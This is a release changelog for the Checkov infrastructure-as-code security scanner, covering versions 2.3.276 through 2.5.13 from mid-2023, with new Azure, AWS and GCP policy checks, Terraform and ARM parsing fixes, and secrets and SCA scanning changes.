[2.5.13](https://github.com/bridgecrewio/checkov/compare/2.5.11...2.5.13) - 2023-10-18 ### Feature - **arm:** implement CKV_AZURE_103 for ARM - [#5527](https://github.com/bridgecrewio/checkov/pull/5527) - **arm:** implement CKV_AZURE_96 for ARM - [#5506](https://github.com/bridgecrewio/checkov/pull/5506) - **arm:** implement CKV_AZURE_97 for ARM - [#5515](https://github.com/bridgecrewio/checkov/pull/5515) ### Bug Fix - **terraform:** Added a check to make sure dynamic "blocks" are of the expected type - [#5642](https://github.com/bridgecrewio/checkov/pull/5642) - **terraform:** update CKV_AWS_339 valid EKS versions - [#5652](https://github.com/bridgecrewio/checkov/pull/5652) ## [2.5.11](https://github.com/bridgecrewio/checkov/compare/2.5.10...2.5.11) - 2023-10-17 ### Feature - **sca:** giving file path on relative the the current dir for cases there is no either specified root_folder and the is no repo scan dir - [#5654](https://github.com/bridgecrewio/checkov/pull/5654) ## [2.5.10](https://github.com/bridgecrewio/checkov/compare/2.5.9...2.5.10) - 2023-10-16 ### Feature - **terraform:** support scanning of Terraform managed modules instead of downloading them - [#5635](https://github.com/bridgecrewio/checkov/pull/5635) ### Bug Fix - **terraform:** Fixing issues with checks CKV_AZURE_226 & CKV_AZURE_227 - [#5638](https://github.com/bridgecrewio/checkov/pull/5638) ## [2.5.9](https://github.com/bridgecrewio/checkov/compare/2.5.8...2.5.9) - 2023-10-15 ### Feature - **sca:** support case where there are no cves suppressions - [#5636](https://github.com/bridgecrewio/checkov/pull/5636) ## [2.5.8](https://github.com/bridgecrewio/checkov/compare/2.5.6...2.5.8) - 2023-10-12 ### Feature - **general:** Remove code upload for on-prem integrations - [#5624](https://github.com/bridgecrewio/checkov/pull/5624) ## [2.5.6](https://github.com/bridgecrewio/checkov/compare/2.5.3...2.5.6) - 2023-10-05 ### Feature - **arm:** implement CKV_AZURE_95 for ARM - [#5500](https://github.com/bridgecrewio/checkov/pull/5500) - **general:** Added source and target to edge data - [#5621](https://github.com/bridgecrewio/checkov/pull/5621) ### Bug Fix - **terraform_plan:** add azurerm_portal_dashboard to jsonify list - [#5618](https://github.com/bridgecrewio/checkov/pull/5618) - **terraform:** check if the dynamic name is one of the resources block - [#5607](https://github.com/bridgecrewio/checkov/pull/5607) ## [2.5.3](https://github.com/bridgecrewio/checkov/compare/2.4.61...2.5.3) - 2023-10-04 ### Breaking Change - **general:** remove Python 3.7 - [#5605](https://github.com/bridgecrewio/checkov/pull/5605) - **graph:** remove CHECKOV_CREATE_GRAPH env var to control graph creation - [#5606](https://github.com/bridgecrewio/checkov/pull/5606) ### Bug Fix - **dockerfile:** fix Docker image scan - [#5617](https://github.com/bridgecrewio/checkov/pull/5617) - **openapi:** Take into account that security is at the root level of your OpenAPI specification. - [#5603](https://github.com/bridgecrewio/checkov/pull/5603) - **terraform:** stop CKV_GCP_43 crashing when not a string - [#5561](https://github.com/bridgecrewio/checkov/pull/5561) ## [2.4.61](https://github.com/bridgecrewio/checkov/compare/2.4.59...2.4.61) - 2023-10-03 ### Bug Fix - **terraform:** fix upload resource_subgraph_maps - [#5615](https://github.com/bridgecrewio/checkov/pull/5615) ### Platform - **terraform:** Upload resource subgraph map - [#5612](https://github.com/bridgecrewio/checkov/pull/5612) ## [2.4.59](https://github.com/bridgecrewio/checkov/compare/2.4.58...2.4.59) - 2023-10-02 ### Platform - **terraform:** fix in subgraphs uploads - [#5610](https://github.com/bridgecrewio/checkov/pull/5610) ## [2.4.58](https://github.com/bridgecrewio/checkov/compare/2.4.57...2.4.58) - 2023-10-01 ### Platform - **terraform:** upload tf sub graphs - [#5596](https://github.com/bridgecrewio/checkov/pull/5596) ## [2.4.57](https://github.com/bridgecrewio/checkov/compare/2.4.55...2.4.57) - 2023-09-29 ### Feature - **terraform:** Ensure ephemeral disks are used for OS disks - [#5584](https://github.com/bridgecrewio/checkov/pull/5584) - **terraform:** Ensure that App Service plan is zone redundant - [#5577](https://github.com/bridgecrewio/checkov/pull/5577) - **terraform:** Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources - [#5588](https://github.com/bridgecrewio/checkov/pull/5588) ## [2.4.55](https://github.com/bridgecrewio/checkov/compare/2.4.51...2.4.55) - 2023-09-28 ### Feature - **general:** Add image referencer rustworkx support - [#5564](https://github.com/bridgecrewio/checkov/pull/5564) - **general:** Add rustworkx support - [#5595](https://github.com/bridgecrewio/checkov/pull/5595) - **terraform:** Adding 2 new AWS policies - [#5599](https://github.com/bridgecrewio/checkov/pull/5599) - **terraform:** simply IMDSv2 checks - [#5601](https://github.com/bridgecrewio/checkov/pull/5601) ## [2.4.51](https://github.com/bridgecrewio/checkov/compare/2.4.50...2.4.51) - 2023-09-27 ### Feature - **arm:** CKV_AZURE_88 convert to arm check - [#5465](https://github.com/bridgecrewio/checkov/pull/5465) - **arm:** implement CKV_AZURE_149 for ARM - [#5496](https://github.com/bridgecrewio/checkov/pull/5496) ### Bug Fix - **terraform:** Adding missing null checks - [#5589](https://github.com/bridgecrewio/checkov/pull/5589) ## [2.4.50](https://github.com/bridgecrewio/checkov/compare/2.4.48...2.4.50) - 2023-09-26 ### Feature - **general:** add rustworkx (#5511) - [#5565](https://github.com/bridgecrewio/checkov/pull/5565) - **general:** Revert add rustworkx (#5565)" - [#5594](https://github.com/bridgecrewio/checkov/pull/5594) ## [2.4.48](https://github.com/bridgecrewio/checkov/compare/2.4.47...2.4.48) - 2023-09-21 ### Platform - **general:** expose retry and timeout configuration for interaction with the platform - [#5585](https://github.com/bridgecrewio/checkov/pull/5585) ## [2.4.47](https://github.com/bridgecrewio/checkov/compare/2.4.39...2.4.47) - 2023-09-20 ### Feature - **sca:** creating alias mapping for javascript - [#5567](https://github.com/bridgecrewio/checkov/pull/5567) - **sca:** creating alias mapping for javascript - [#5582](https://github.com/bridgecrewio/checkov/pull/5582) - **sca:** revert creating alias mapping for javascript - [#5581](https://github.com/bridgecrewio/checkov/pull/5581) ### Bug Fix - **general:** fix print to encode in windows - [#5572](https://github.com/bridgecrewio/checkov/pull/5572) - **terraform:** Nested source_module_objects with missing foreach key - [#5580](https://github.com/bridgecrewio/checkov/pull/5580) ## [2.4.39](https://github.com/bridgecrewio/checkov/compare/2.4.36...2.4.39) - 2023-09-14 ### Feature - **arm:** implement CKV2_AZURE_27 for arm - [#5534](https://github.com/bridgecrewio/checkov/pull/5534) - **terraform:** Add new policy for deprecated runtimes - [#5555](https://github.com/bridgecrewio/checkov/pull/5555) - **terraform:** Ensure Event Hub Namespace uses at least TLS 1.2 - [#5535](https://github.com/bridgecrewio/checkov/pull/5535) - **terraform:** Ensure that the Ledger feature is enabled on database that requires cryptographic proof and nonrepudiation of data integrity - [#5541](https://github.com/bridgecrewio/checkov/pull/5541) ## [2.4.36](https://github.com/bridgecrewio/checkov/compare/2.4.33...2.4.36) - 2023-09-13 ### Feature - **general:** add rustworkx - [#5511](https://github.com/bridgecrewio/checkov/pull/5511) ### Bug Fix - **terraform:** Module from_dict func to static func - [#5562](https://github.com/bridgecrewio/checkov/pull/5562) ## [2.4.33](https://github.com/bridgecrewio/checkov/compare/2.4.32...2.4.33) - 2023-09-12 ### Feature - **general:** attempt to fix overload in loaders and add tests - [#5549](https://github.com/bridgecrewio/checkov/pull/5549) - **general:** remove 3.7 integ. test - [#5556](https://github.com/bridgecrewio/checkov/pull/5556) - **general:** remove line to force code change - [#5558](https://github.com/bridgecrewio/checkov/pull/5558) - **terraform:** add check Neptune DB clusters should be configured to copy tags to snapshots - [#5552](https://github.com/bridgecrewio/checkov/pull/5552) - **terraform:** add CKV_AWS_361 to ensure Neptune DB cluster has adequate backup retention - [#5548](https://github.com/bridgecrewio/checkov/pull/5548) ### Bug Fix - **terraform:** Fix external_modules_source_map serialization - [#5546](https://github.com/bridgecrewio/checkov/pull/5546) ## [2.4.32](https://github.com/bridgecrewio/checkov/compare/2.4.30...2.4.32) - 2023-09-10 ### Feature - **terraform:** add check for Neptune DB clusters IAM database auth enabled - [#5545](https://github.com/bridgecrewio/checkov/pull/5545) - **terraform:** add CKV_AWS_360 to ensure backup retention period on AWS Document DB - [#5547](https://github.com/bridgecrewio/checkov/pull/5547) ## [2.4.30](https://github.com/bridgecrewio/checkov/compare/2.4.29...2.4.30) - 2023-09-07 ### Feature - **terraform:** add public network checks for Azure Function and Web Apps - [#5533](https://github.com/bridgecrewio/checkov/pull/5533) ## [2.4.29](https://github.com/bridgecrewio/checkov/compare/2.4.27...2.4.29) - 2023-09-06 ### Feature - **arm:** Implement CKV_AZURE_111 in ARM - [#5528](https://github.com/bridgecrewio/checkov/pull/5528) - **arm:** implement CKV_AZURE_134 for ARM - [#5518](https://github.com/bridgecrewio/checkov/pull/5518) - **arm:** implement CKV_AZURE_160 for arm - [#5526](https://github.com/bridgecrewio/checkov/pull/5526) - **arm:** implement CKV_AZURE_89 for ARM - [#5529](https://github.com/bridgecrewio/checkov/pull/5529) ### Bug Fix - **terraform:** CKV_AWS_208 bug fix - [#5512](https://github.com/bridgecrewio/checkov/pull/5512) ## [2.4.27](https://github.com/bridgecrewio/checkov/compare/2.4.25...2.4.27) - 2023-09-05 ### Feature - **general:** Check module download - [#5525](https://github.com/bridgecrewio/checkov/pull/5525) - **general:** Check module download and quit on failure - [#5523](https://github.com/bridgecrewio/checkov/pull/5523) ## [2.4.25](https://github.com/bridgecrewio/checkov/compare/2.4.22...2.4.25) - 2023-09-03 ### Feature - **arm:** Implement CKV_AZURE_101 for ARM - [#5516](https://github.com/bridgecrewio/checkov/pull/5516) - **arm:** implement CKV_AZURE_107 for arm - [#5514](https://github.com/bridgecrewio/checkov/pull/5514) - **arm:** implement CKV_AZURE_113 for ARM - [#5510](https://github.com/bridgecrewio/checkov/pull/5510) ## [2.4.22](https://github.com/bridgecrewio/checkov/compare/2.4.18...2.4.22) - 2023-08-31 ### Feature - **arm:** implement CKV_AZURE_112 for arm - [#5507](https://github.com/bridgecrewio/checkov/pull/5507) - **arm:** implement CKV_AZURE_40 for ARM - [#5499](https://github.com/bridgecrewio/checkov/pull/5499) - **arm:** implement CKV_AZURE_58 for ARM - [#5497](https://github.com/bridgecrewio/checkov/pull/5497) - **arm:** implement CKV_AZURE_94 for arm - [#5508](https://github.com/bridgecrewio/checkov/pull/5508) ### Bug Fix - **helm:** Changed error message to failure to better differentiate problems - [#5517](https://github.com/bridgecrewio/checkov/pull/5517) - **terraform_json:** correctly parse data blocks in Terraform JSON - [#5509](https://github.com/bridgecrewio/checkov/pull/5509) - **terraform:** continue processing of TF modules in the same file - [#5503](https://github.com/bridgecrewio/checkov/pull/5503) - **terraform:** fix error type - [#5513](https://github.com/bridgecrewio/checkov/pull/5513) ## [2.4.18](https://github.com/bridgecrewio/checkov/compare/2.4.14...2.4.18) - 2023-08-30 ### Feature - **arm:** implement CKV_AZURE_100 for arm - [#5490](https://github.com/bridgecrewio/checkov/pull/5490) - **arm:** implement CKV_AZURE_114 for arm - [#5489](https://github.com/bridgecrewio/checkov/pull/5489) - **arm:** implement CKV_AZURE_130 for arm - [#5485](https://github.com/bridgecrewio/checkov/pull/5485) - **arm:** implement CKV_AZURE_151 for arm - [#5484](https://github.com/bridgecrewio/checkov/pull/5484) ### Bug Fix - **arm:** correctly handle json files with comments and output parsing errors - [#5495](https://github.com/bridgecrewio/checkov/pull/5495) ## [2.4.14](https://github.com/bridgecrewio/checkov/compare/2.4.10...2.4.14) - 2023-08-27 ### Feature - **arm:** CKV_AZURE_66 implement config logging check for arm - [#5464](https://github.com/bridgecrewio/checkov/pull/5464) - **arm:** convert CKV_AZURE_65 to arm - [#5467](https://github.com/bridgecrewio/checkov/pull/5467) - **arm:** Implement CKV_AZURE_109 in arm - [#5483](https://github.com/bridgecrewio/checkov/pull/5483) - **arm:** implement CKV_AZURE_63 for arm - [#5475](https://github.com/bridgecrewio/checkov/pull/5475) - **arm:** implement CKV_AZURE_80 in arm - [#5476](https://github.com/bridgecrewio/checkov/pull/5476) - **secrets:** fix resource in git history scan - [#5482](https://github.com/bridgecrewio/checkov/pull/5482) ### Bug Fix - **terraform:** extend CKV2_AWS_5 to include aws_appstream_fleet (#5487) - [#5491](https://github.com/bridgecrewio/checkov/pull/5491) ## [2.4.10](https://github.com/bridgecrewio/checkov/compare/2.4.7...2.4.10) - 2023-08-24 ### Feature - **arm:** migrate check CKV_AZURE_50 to arm - [#5453](https://github.com/bridgecrewio/checkov/pull/5453) - **arm:** translate tf CKV_AZURE_93 check to arm - [#5450](https://github.com/bridgecrewio/checkov/pull/5450) - **kubernetes:** Added new endpoint for both helm and kustomize - [#5481](https://github.com/bridgecrewio/checkov/pull/5481) ### Bug Fix - **dockerfile:** consider platform flag in CKV_DOCKER_7 - [#5468](https://github.com/bridgecrewio/checkov/pull/5468) - **kustomize:** support kubectl 1.28+ - [#5480](https://github.com/bridgecrewio/checkov/pull/5480) ## [2.4.7](https://github.com/bridgecrewio/checkov/compare/2.4.6...2.4.7) - 2023-08-23 ### Feature - **secrets:** handle non iac secrets FP - [#5478](https://github.com/bridgecrewio/checkov/pull/5478) ## [2.4.6](https://github.com/bridgecrewio/checkov/compare/2.4.5...2.4.6) - 2023-08-22 ### Bug Fix - **terraform:** Replaced / with os.pathsep to support windows better in terraform runner - [#5473](https://github.com/bridgecrewio/checkov/pull/5473) ### Documentation - **terraform:** make jq default - [#5462](https://github.com/bridgecrewio/checkov/pull/5462) ## [2.4.5](https://github.com/bridgecrewio/checkov/compare/2.4.4...2.4.5) - 2023-08-21 ### Bug Fix - **terraform:** Fix for-each/count updating inner for each index for every child resource - [#5463](https://github.com/bridgecrewio/checkov/pull/5463) ## [2.4.4](https://github.com/bridgecrewio/checkov/compare/2.4.2...2.4.4) - 2023-08-20 ### Platform - **sca:** Filter IR FW upload results by supportedIrFw list - [#5448](https://github.com/bridgecrewio/checkov/pull/5448) ## [2.4.2](https://github.com/bridgecrewio/checkov/compare/2.4.1...2.4.2) - 2023-08-17 ### Feature - **dockerfile:** Add CKV2_DOCKER_17 for chpasswd - [#5441](https://github.com/bridgecrewio/checkov/pull/5441) ### Bug Fix - **kustomize:** Fix kustomize ignoring external policy dir command line options - [#5436](https://github.com/bridgecrewio/checkov/pull/5436) ## [2.4.1](https://github.com/bridgecrewio/checkov/compare/2.3.365...2.4.1) - 2023-08-16 ### Feature - **terraform:** Remove old tf parser - [#5420](https://github.com/bridgecrewio/checkov/pull/5420) ### Bug Fix - **terraform:** ensure TFModule is created properly in definition context - [#5446](https://github.com/bridgecrewio/checkov/pull/5446) ## [2.3.365](https://github.com/bridgecrewio/checkov/compare/2.3.364...2.3.365) - 2023-08-14 ### Feature - **terraform:** Removed most usages of enable_nested_modules - [#5415](https://github.com/bridgecrewio/checkov/pull/5415) ## [2.3.364](https://github.com/bridgecrewio/checkov/compare/2.3.361...2.3.364) - 2023-08-13 ### Feature - **sca:** update spdx-tools dep to version 0.8.0 and lower bound it - [#5431](https://github.com/bridgecrewio/checkov/pull/5431) - **terraform:** Add **address** field on vertices even if render_variables is set to False - [#5434](https://github.com/bridgecrewio/checkov/pull/5434) ### Bug Fix - **terraform:** add new attached resource possibility to CKV2_AWS_23 #5424 - [#5429](https://github.com/bridgecrewio/checkov/pull/5429) - **terraform:** fix ordering issue in CKV_AWS_358 - [#5425](https://github.com/bridgecrewio/checkov/pull/5425) ## [2.3.361](https://github.com/bridgecrewio/checkov/compare/2.3.360...2.3.361) - 2023-08-10 ### Bug Fix - **arm:** improve CKV_AZURE_24 check - [#5427](https://github.com/bridgecrewio/checkov/pull/5427) ## [2.3.360](https://github.com/bridgecrewio/checkov/compare/2.3.358...2.3.360) - 2023-08-08 ### Bug Fix - **general:** Fix empty credentials file issue - [#5421](https://github.com/bridgecrewio/checkov/pull/5421) ## [2.3.358](https://github.com/bridgecrewio/checkov/compare/2.3.356...2.3.358) - 2023-08-06 ### Feature - **secrets:** Make non-entropy signatures take precedence over entropy signatures - [#5412](https://github.com/bridgecrewio/checkov/pull/5412) ### Bug Fix - **terraform:** Remove DMS S3 check CKV_AWS_299 - [#5413](https://github.com/bridgecrewio/checkov/pull/5413) ## [2.3.356](https://github.com/bridgecrewio/checkov/compare/2.3.354...2.3.356) - 2023-08-03 ### Feature - **terraform:** Github Actions OIDC trust policy check - [#5402](https://github.com/bridgecrewio/checkov/pull/5402) ## [2.3.354](https://github.com/bridgecrewio/checkov/compare/2.3.351...2.3.354) - 2023-08-02 ### Feature - **general:** allow `--var-file` to be passed as environment variable - [#5406](https://github.com/bridgecrewio/checkov/pull/5406) - **terraform:** Add new policy to ensure AWS Transfer server only allows secure protocols - [#5409](https://github.com/bridgecrewio/checkov/pull/5409) ### Platform - **general:** remove obsolete run config fallback API call - [#5404](https://github.com/bridgecrewio/checkov/pull/5404) ### Documentation - **gha:** Update setup-python version in GitHub Actions.md - [#5393](https://github.com/bridgecrewio/checkov/pull/5393) ## [2.3.351](https://github.com/bridgecrewio/checkov/compare/2.3.349...2.3.351) - 2023-08-01 ### Feature - **terraform:** new serialization methods for module and block - [#5391](https://github.com/bridgecrewio/checkov/pull/5391) ### Bug Fix - **terraform:** pr for upgrade-checkov - [#5400](https://github.com/bridgecrewio/checkov/pull/5400) ## [2.3.349](https://github.com/bridgecrewio/checkov/compare/2.3.347...2.3.349) - 2023-07-31 ### Bug Fix - **terraform:** add TFDefinitionKey to get_entity_context_and_evaluations - [#5392](https://github.com/bridgecrewio/checkov/pull/5392) - **terraform:** consider new domain attribute in CKV2_AWS_19 - [#5383](https://github.com/bridgecrewio/checkov/pull/5383) ## [2.3.347](https://github.com/bridgecrewio/checkov/compare/2.3.343...2.3.347) - 2023-07-27 ### Feature - **sca:** support composer.json - [#5382](https://github.com/bridgecrewio/checkov/pull/5382) - **terraform:** Use new function to create multi graph instead of single graph - [#5375](https://github.com/bridgecrewio/checkov/pull/5375) ### Platform - **general:** Implement SSO Relay State Parameter in Checkov Output Links - [#5217](https://github.com/bridgecrewio/checkov/pull/5217) ## [2.3.343](https://github.com/bridgecrewio/checkov/compare/2.3.338...2.3.343) - 2023-07-26 ### Feature - **sca:** fix package line numbers - [#5376](https://github.com/bridgecrewio/checkov/pull/5376) ### Bug Fix - **terraform:** Fix CKV_AWS_104 to support new values - [#5377](https://github.com/bridgecrewio/checkov/pull/5377) ## [2.3.338](https://github.com/bridgecrewio/checkov/compare/2.3.335...2.3.338) - 2023-07-23 ### Feature - **terraform:** add new function to create module and definitions with tests - [#5362](https://github.com/bridgecrewio/checkov/pull/5362) - **terraform:** GCP Ensure IAM Workload identity is restricted - [#5369](https://github.com/bridgecrewio/checkov/pull/5369) ### Bug Fix - **general:** fix inline suppression collection inside lists - [#5370](https://github.com/bridgecrewio/checkov/pull/5370) ## [2.3.335](https://github.com/bridgecrewio/checkov/compare/2.3.334...2.3.335) - 2023-07-20 ### Bug Fix - **terraform:** leverage read_file_with_any_encoding to safely look for modules - [#5360](https://github.com/bridgecrewio/checkov/pull/5360) ## [2.3.334](https://github.com/bridgecrewio/checkov/compare/2.3.331...2.3.334) - 2023-07-19 ### Feature - **general:** Add resource code filter to all checkov loggers - [#5356](https://github.com/bridgecrewio/checkov/pull/5356) - **general:** Infrastructure for custom code logger filter - [#5346](https://github.com/bridgecrewio/checkov/pull/5346) ### Bug Fix - **kustomize:** Avoid index error when calculating file path - [#5357](https://github.com/bridgecrewio/checkov/pull/5357) ## [2.3.331](https://github.com/bridgecrewio/checkov/compare/2.3.329...2.3.331) - 2023-07-18 ### Feature - **openapi:** Add CKV_OPENAPI_21 - [#5268](https://github.com/bridgecrewio/checkov/pull/5268) ### Bug Fix - **secrets:** handle regex error in custom secrets gracefully - [#5355](https://github.com/bridgecrewio/checkov/pull/5355) ### Documentation - **general:** update docs about installation guidelines - [#5352](https://github.com/bridgecrewio/checkov/pull/5352) ## [2.3.329](https://github.com/bridgecrewio/checkov/compare/2.3.326...2.3.329) - 2023-07-17 ### Feature - **github:** Add ability for External checks with git branch - [#5337](https://github.com/bridgecrewio/checkov/pull/5337) - **sca:** add fix command and code for indirect deps - [#5347](https://github.com/bridgecrewio/checkov/pull/5347) ### Bug Fix - **kubernetes:** No dups when extracting images - [#5339](https://github.com/bridgecrewio/checkov/pull/5339) ## [2.3.326](https://github.com/bridgecrewio/checkov/compare/2.3.324...2.3.326) - 2023-07-16 ### Feature - **sca:** add fix code and command to cve report - [#5333](https://github.com/bridgecrewio/checkov/pull/5333) - **sca:** fix code block array structure - [#5338](https://github.com/bridgecrewio/checkov/pull/5338) ### Bug Fix - **general:** properly encode non supported chars in SARIF uri field - [#5336](https://github.com/bridgecrewio/checkov/pull/5336) ### Documentation - **sca:** Add SCA skip comments to docs - [#5330](https://github.com/bridgecrewio/checkov/pull/5330) ## [2.3.324](https://github.com/bridgecrewio/checkov/compare/2.3.321...2.3.324) - 2023-07-13 ### Bug Fix - **kustomize:** Added support for case where no parents are found for the relative fie path - [#5332](https://github.com/bridgecrewio/checkov/pull/5332) - **terraform:** Update CKV2_AWS_12 for the new defaults - [#5203](https://github.com/bridgecrewio/checkov/pull/5203) ## [2.3.321](https://github.com/bridgecrewio/checkov/compare/2.3.320...2.3.321) - 2023-07-13 ### Feature - **kustomize:** Support child k8s resources inside kustomize origin annotations - [#5328](https://github.com/bridgecrewio/checkov/pull/5328) ## [2.3.320](https://github.com/bridgecrewio/checkov/compare/2.3.318...2.3.320) - 2023-07-12 ### Bug Fix - **kustomize:** Checked for existence of caller_file_path in definitions_raw - [#5324](https://github.com/bridgecrewio/checkov/pull/5324) - **openapi:** Fix ws for CKV_OPENAPI_20 - [#5317](https://github.com/bridgecrewio/checkov/pull/5317) - **terraform:** CKV_AWS_342 - managed rules have predefined actions - [#5322](https://github.com/bridgecrewio/checkov/pull/5322) ## [2.3.318](https://github.com/bridgecrewio/checkov/compare/2.3.316...2.3.318) - 2023-07-10 ### Feature - **general:** support UTF-16 and other encodings in multiple frameworks - [#5308](https://github.com/bridgecrewio/checkov/pull/5308) - **kustomize:** add back reverted kustomize annotations and update build github action to use github runners - [#5316](https://github.com/bridgecrewio/checkov/pull/5316) - **kustomize:** Add origin annotations to calculate bases of kustomize checks - [#5298](https://github.com/bridgecrewio/checkov/pull/5298) ## [2.3.316](https://github.com/bridgecrewio/checkov/compare/2.3.314...2.3.316) - 2023-07-09 ### Feature - **secrets:** Improve the entropy keyword combinator secret scanner - [#5307](https://github.com/bridgecrewio/checkov/pull/5307) ### Bug Fix - **openapi:** Fix CKV_OpenAPI_20 - [#5302](https://github.com/bridgecrewio/checkov/pull/5302) - **terraform:** fix invalid value in CKV_AWS_304 - [#5301](https://github.com/bridgecrewio/checkov/pull/5301) - **terraform:** support new field in CKV2_AWS_3 - [#5304](https://github.com/bridgecrewio/checkov/pull/5304) ## [2.3.314](https://github.com/bridgecrewio/checkov/compare/2.3.312...2.3.314) - 2023-07-06 ### Feature - **dockerfile:** add ARM build for K8s container image - [#5293](https://github.com/bridgecrewio/checkov/pull/5293) - **general:** Add checkov.spec to enable PyInstaller - [#5281](https://github.com/bridgecrewio/checkov/pull/5281) ### Bug Fix - **terraform:** remove CKV2_AZURE_18 check and improve CKV2_AZURE_1 - [#5294](https://github.com/bridgecrewio/checkov/pull/5294) ## [2.3.312](https://github.com/bridgecrewio/checkov/compare/2.3.311...2.3.312) - 2023-07-05 ### Platform - **general:** use sca inline suppressions - [#5285](https://github.com/bridgecrewio/checkov/pull/5285) ## [2.3.311](https://github.com/bridgecrewio/checkov/compare/2.3.310...2.3.311) - 2023-07-04 ### Feature - **openapi:** New OpenAPI check CKV_OPENAPI_20 - [#5253](https://github.com/bridgecrewio/checkov/pull/5253) ## [2.3.310](https://github.com/bridgecrewio/checkov/compare/2.3.309...2.3.310) - 2023-07-02 ### Bug Fix - **terraform:** remove deprecated check CKV_GCP_67 - [#5275](https://github.com/bridgecrewio/checkov/pull/5275) ### Documentation - **general:** Add csv to output - [#5273](https://github.com/bridgecrewio/checkov/pull/5273) ## [2.3.309](https://github.com/bridgecrewio/checkov/compare/2.3.306...2.3.309) - 2023-06-29 ### Feature - **graph:** add experimental debug output for graph check evaluation - [#5257](https://github.com/bridgecrewio/checkov/pull/5257) ### Bug Fix - **general:** revert add composer files to supported package files - [#5269](https://github.com/bridgecrewio/checkov/pull/5269) ### Platform - **general:** add composer files to supported package files - [#5263](https://github.com/bridgecrewio/checkov/pull/5263) ## [2.3.306](https://github.com/bridgecrewio/checkov/compare/2.3.303...2.3.306) - 2023-06-27 ### Feature - **terraform:** add module check for commit hash revision usage - [#5261](https://github.com/bridgecrewio/checkov/pull/5261) ### Bug Fix - **openapi:** add security definition type validation into CKV_OPENAPI_9 - [#5262](https://github.com/bridgecrewio/checkov/pull/5262) - **secrets:** fix secrets omit crash when value is not string - [#5260](https://github.com/bridgecrewio/checkov/pull/5260) - **terraform:** ignore local modules in CKV_TF_1 - [#5264](https://github.com/bridgecrewio/checkov/pull/5264) ## [2.3.303](https://github.com/bridgecrewio/checkov/compare/2.3.302...2.3.303) - 2023-06-26 ### Bug Fix - **arm:** consider encryption property in CKV_AZURE_2 - [#5254](https://github.com/bridgecrewio/checkov/pull/5254) ## [2.3.302](https://github.com/bridgecrewio/checkov/compare/2.3.301...2.3.302) - 2023-06-25 ### Bug Fix - **terraform:** add missing AWS RDS CA certificate identifiers for aws_db_instance resource - [#5247](https://github.com/bridgecrewio/checkov/pull/5247) ## [2.3.301](https://github.com/bridgecrewio/checkov/compare/2.3.299...2.3.301) - 2023-06-22 ### Feature - **general:** remove log from parallel common - [#5244](https://github.com/bridgecrewio/checkov/pull/5244) ### Platform - **general:** Fix local repo generated name if ends with / - [#5243](https://github.com/bridgecrewio/checkov/pull/5243) ## [2.3.299](https://github.com/bridgecrewio/checkov/compare/2.3.296...2.3.299) - 2023-06-21 ### Feature - **terraform:** ensure kms key policy is defined - [#5235](https://github.com/bridgecrewio/checkov/pull/5235) ### Bug Fix - **sca:** fix wrongly invoked Image Referencer scanning when scanning a single file - [#5237](https://github.com/bridgecrewio/checkov/pull/5237) - **terraform_plan:** add terraform plan vertices to terraform graph if not exist - [#5230](https://github.com/bridgecrewio/checkov/pull/5230) ## [2.3.296](https://github.com/bridgecrewio/checkov/compare/2.3.294...2.3.296) - 2023-06-19 ### Bug Fix - **dockerfile:** negative `is_dockerfile()` lookup on `.dockerignore` suffix - [#5219](https://github.com/bridgecrewio/checkov/pull/5219) - **terraform:** fix empty value issue for CKV_GIT_4 - [#5222](https://github.com/bridgecrewio/checkov/pull/5222) ### Documentation - **graph:** add jsonpath custom policy example - [#5221](https://github.com/bridgecrewio/checkov/pull/5221) ## [2.3.294](https://github.com/bridgecrewio/checkov/compare/2.3.292...2.3.294) - 2023-06-15 ### Feature - **gha:** add skip_path flag to GHA and allow multiple values in var_file - [#5213](https://github.com/bridgecrewio/checkov/pull/5213) - **sca:** add root package name and version to csv sbom - [#5211](https://github.com/bridgecrewio/checkov/pull/5211) ## [2.3.292](https://github.com/bridgecrewio/checkov/compare/2.3.289...2.3.292) - 2023-06-14 ### Feature - **arm:** Handle another structure for SQL retention policy - [#5210](https://github.com/bridgecrewio/checkov/pull/5210) ### Bug Fix - **secrets:** limit line length for custom secrets - [#5208](https://github.com/bridgecrewio/checkov/pull/5208) - **terraform:** Update GCP checks for plan files - [#5197](https://github.com/bridgecrewio/checkov/pull/5197) ## [2.3.289](https://github.com/bridgecrewio/checkov/compare/2.3.287...2.3.289) - 2023-06-13 ### Feature - **sca:** removing the using of the constant CHECKOV_DISPLAY_REGISTRY_URL - [#5204](https://github.com/bridgecrewio/checkov/pull/5204) ## [2.3.287](https://github.com/bridgecrewio/checkov/compare/2.3.285...2.3.287) - 2023-06-11 ### Feature - **general:** add checkov_diff pre-commit hook for scanning all changed files - [#5192](https://github.com/bridgecrewio/checkov/pull/5192) ### Bug Fix - **cloudformation:** fix CKV_AWS_33 to consider deny statements - [#5193](https://github.com/bridgecrewio/checkov/pull/5193) ### Documentation - **general:** Update pre-commit.md - [#5190](https://github.com/bridgecrewio/checkov/pull/5190) ## [2.3.285](https://github.com/bridgecrewio/checkov/compare/2.3.283...2.3.285) - 2023-06-08 ### Feature - **arm:** and bicep: Ensure that Azure Front Door uses WAF in "Detection" or "Prevention" modes CKV_AZURE_123 - [#5049](https://github.com/bridgecrewio/checkov/pull/5049) ### Bug Fix - **general:** handle cloned checks filtered via labels - [#5188](https://github.com/bridgecrewio/checkov/pull/5188) - **terraform:** adjust CKV_AZURE_6 to comply with new provider version - [#5189](https://github.com/bridgecrewio/checkov/pull/5189) ## [2.3.283](https://github.com/bridgecrewio/checkov/compare/2.3.281...2.3.283) - 2023-06-07 ### Feature - **arm:** Handle arm db servers 2021 05 01 - [#5187](https://github.com/bridgecrewio/checkov/pull/5187) - **terraform:** Mark unresolved tf function calls as unresolved - [#5186](https://github.com/bridgecrewio/checkov/pull/5186) ### Documentation - **general:** Add Enforcement CLI Command - [#5185](https://github.com/bridgecrewio/checkov/pull/5185) ## [2.3.281](https://github.com/bridgecrewio/checkov/compare/2.3.278...2.3.281) - 2023-06-06 ### Feature - **terraform_plan:** Expose field changes to python checks - [#5112](https://github.com/bridgecrewio/checkov/pull/5112) ### Bug Fix - **general:** Check that the result is not None before extracting vars in cli multiprocess runs - [#5183](https://github.com/bridgecrewio/checkov/pull/5183) - **general:** Correctly handle cli graphs in case we run with multiprocessing - [#5177](https://github.com/bridgecrewio/checkov/pull/5177) ## [2.3.278](https://github.com/bridgecrewio/checkov/compare/2.3.276...2.3.278) - 2023-06-05 ### Bug Fix - **kubernetes:** dont' fail if spec is missing and default value is set to the fix value. - [#5167](https://github.com/bridgecrewio/checkov/pull/5167) ## 